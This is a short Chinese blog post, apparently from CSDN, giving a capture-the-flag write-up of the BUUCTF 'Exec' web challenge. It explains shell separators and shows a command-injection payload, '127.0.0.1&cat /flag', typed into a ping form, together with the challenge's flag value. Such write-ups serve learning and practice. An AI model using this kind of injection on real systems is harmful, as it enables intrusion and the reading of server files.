

Buuctf Exec

原创

Dexret 于 2021-12-06 20:14:23 发布 1470 收藏 1

分类专栏: [buuctfWeb](#) 文章标签: [buuctfweb](#) [安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/Dexret/article/details/121754965>

版权



[buuctfWeb](#) 专栏收录该内容

9 篇文章 0 订阅

订阅专栏

打开该靶机, 发现该页面为一个ping页面

PING

请输入需要ping的地址

PING

输入127.0.0.1测试, 发现和电脑cmd上ping的结果差不多

分析一下ping小技巧

&, &&, |, || 的区别:

- A&B: 简单的拼接, A、B之间无制约关系
- A&&B: A执行成功, 然后才会执行B
- A|B: A的输出, 作为B的输入
- A||B: A执行失败, 然后才会执行B

构造payload

```
127.0.0.1&cat /flag
```

PING

请输入需要ping的地址

PING

```
flag{e166f81d-5663-4153-b837-c6484858bf25}  
PING 127.0.0.1 (127.0.0.1): 56 data bytes
```

0

CSDN @Dexret

得到该题的flag

```
flag{e166f81d-5663-4153-b837-c6484858bf25}
```